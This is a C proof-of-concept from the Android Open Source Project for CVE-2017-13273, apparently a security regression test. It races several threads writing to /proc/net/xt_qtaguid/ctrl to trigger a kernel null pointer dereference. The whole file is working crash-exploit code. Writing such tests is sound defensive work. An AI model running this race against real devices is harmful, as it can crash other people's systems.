Home | History | Annotate | Download | only in CVE-2017-13273
      1 /**
      2  * Copyright (C) 2018 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 
     17 #define _GNU_SOURCE
     18 #include <errno.h>
     19 #include <fcntl.h>
     20 #include <pthread.h>
     21 #include <stdio.h>
     22 #include <string.h>
     23 #include <sys/mman.h>
     24 #include <sys/socket.h>
     25 #include <sys/stat.h>
     26 #include <sys/time.h>
     27 #include <sys/types.h>
     28 #include <unistd.h>
     29 
     30 #define MAX_THREAD 6
     31 
     32 int ctrl_fd;
     33 static int cmd;
     34 static int status[MAX_THREAD];
     35 static int sock_fd;
     36 
     37 void *thread_entry(void *arg) {
     38   int index, len = 256, ret;
     39   char buf[256];
     40   index = (int)(unsigned long)arg;
     41   memset(buf, 0x0, 256);
     42   status[index] = 1;
     43 
     44   // cmd =-1 signifies error in thread creation
     45   while (cmd != 1 && cmd != -1) {
     46     usleep(5);
     47   }
     48 
     49   if (cmd != -1) {
     50     switch (index % 3) {
     51       case 0:
     52         len = sprintf(buf, "d %lu", (unsigned long)0);
     53         break;
     54       case 2:
     55         len = sprintf(buf, "t %d", sock_fd);
     56         break;
     57     }
     58 
     59     ret = write(ctrl_fd, buf, len);
     60   }
     61 
     62   status[index] = 2;
     63   return NULL;
     64 }
     65 /*
     66  *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
     67  *which causes null pointer derefrences in netstat.
     68  */
     69 int main() {
     70   int fd, retry = 1024;
     71   int ret, i, loop;
     72   pthread_t tid[MAX_THREAD];
     73 
     74   fork();
     75   sock_fd = socket(AF_INET, SOCK_STREAM, 0);
     76   while (retry--) {
     77     cmd = 0;
     78     for (i = 0; i < MAX_THREAD; i++) {
     79       status[i] = 0;
     80     }
     81 
     82     fd = open("/dev/xt_qtaguid", O_RDONLY);
     83     if (fd < 0) {
     84       return -1;
     85     }
     86 
     87     ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
     88     if (ctrl_fd < 0) {
     89       return -1;
     90     }
     91 
     92     for (i = 0; i < MAX_THREAD; i++) {
     93       ret =
     94           pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
     95       if (ret != 0) {
     96         cmd = -1;
     97         close(ctrl_fd);
     98       }
     99     }
    100 
    101     loop = 1;
    102     int count = 0;
    103     // loop until all threads have status == 1
    104     while (loop) {
    105       loop = 0;
    106       count = count + 1;
    107       for (i = 0; i < MAX_THREAD; i++)
    108         if (status[i] != 1) {
    109           loop = 1;
    110           break;
    111         }
    112 
    113       if (loop) {
    114         usleep(5);
    115       }
    116     }
    117 
    118     cmd = 1;
    119     loop = 1;
    120     while (loop) {
    121       loop = 0;
    122       count = count + 1;
    123       for (i = 0; i < MAX_THREAD; i++)
    124         if (status[i] != 2) {
    125           loop = 1;
    126           break;
    127         }
    128 
    129       if (loop) {
    130         usleep(5);
    131       }
    132     }
    133     close(fd);
    134   }
    135   return 0;
    136 }
    137